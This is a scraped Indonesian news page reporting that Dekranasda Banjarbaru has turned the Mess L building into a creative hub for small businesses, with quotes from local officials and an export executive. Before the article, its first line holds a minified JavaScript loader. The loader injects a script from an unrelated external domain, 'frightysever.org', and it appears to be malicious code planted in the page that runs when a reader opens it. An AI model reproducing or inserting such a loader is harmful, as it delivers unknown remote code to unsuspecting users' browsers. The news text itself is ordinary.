(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Kerajinan Nasional Daerah (Dekranasda) Banjarbaru permak Mess L menjadi tempat promo dan pengembangan pelaku Usaha Mikro, Kecil, dan Menengah (UMKM) di Banjarbaru.
Gedung yang tepat berada di belakang Museum Lambung Mangkurat Banjarbaru atau di Jalan Garuda, Kelurahan Komet, Kecamatan Banjarbaru Utara dijadikan wadah pengembangan UMKM.
Ketua Dekranasda Kota Banjarbaru, Vivi Mar’i Zubedi menyebutkan alasan kenapa pemilihan Mess L sebagai pengembangan UMKM Kota Banjarbaru karena tempatnya sangat potensial dan dapat banyak menampung berbagai sektor.
“Ini baru soft opening, nantinya akan dibangun kelengkapan seperti creative space sebagai tempat kerja,” tuturnya.
Baca juga : Kapolres Pimpin Sertijab 8 Jabatan di Lingkungan Polres Banjar
Vivi menilai potensi UMKM Banjarbaru sangat luar biasa, inilah yang melatar belakangi adanya Dekranasda Creative Hub sebagai pemenuhan kebutuhan masyarakat.
“Ini akan menjadi salah satu destinasi wisatawan yang datang ke Banjarbaru,” tambahnya.
Setidaknya ada ratusan UMKM yang akan mengisi Mess L Banjarbaru, dan akan dilakukan secara bergilir untuk mengisi Mess L bagi pelaku UMKM dan IKM.
“Untuk bisa terjadi pemerataan,” kata Vivi.
Masih kata Vivi, Dekranasda Banjarbaru bekerjasama dengan Dinas Pemuda Olahraga Kebudayaan dan Pariwisata Banjarbaru untuk menghidupkan dan menampilkan kesenian dan kebudayaan yang ada di Banjarbaru.
Baca juga : Masih Ada Jembatan Kayu di Banjarbaru, Ini yang Akan Dilakukan Dinas PUPR
Dalam Dekranasda Creative Hub menyajikan bangunan dengan interior menarik serta menyiapkan 9 toko dan 10 stand untuk memfasilitasi para pengrajin. Pelaku UMKM dan IKM dibidang kerajinan, makanan dan minuman di bangunan yang luasnya sekitar 600 meter persegi itu.
Sementara itu, CEO Halal Export Indonesia, Amar Zoni mengapresiasi keberdaaan creative hub di Mess L ini. Ia mengatakan bisa lebih mengekspansi dari produk.
“Dengan adanya tempatnya Dekranasda bisa berkolaborasi dengan Halal Export Indonesia untuk mengekspor barang-barang ke seluruh dunia,” ungkapnya.
Dirinya menilai Mess L yang dipermak Dekranasda terkesan lebih modern tanpa meninggalkan kearifan lokal yang ada.
Dari hasil UMKM dan IKM yang terpajang dan yang ada, Amar Zoni mengakui tertarik dengan semua hasil UMKM dan IKM yang ditawarkan.
“Ini merupakan salah satu langkah dalam mengembangkan UMKM dengan adanya rumah produksi bersama dan sarana kreatif untuk orang-orang di Banjarbaru,” katanya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
This website uses cookies.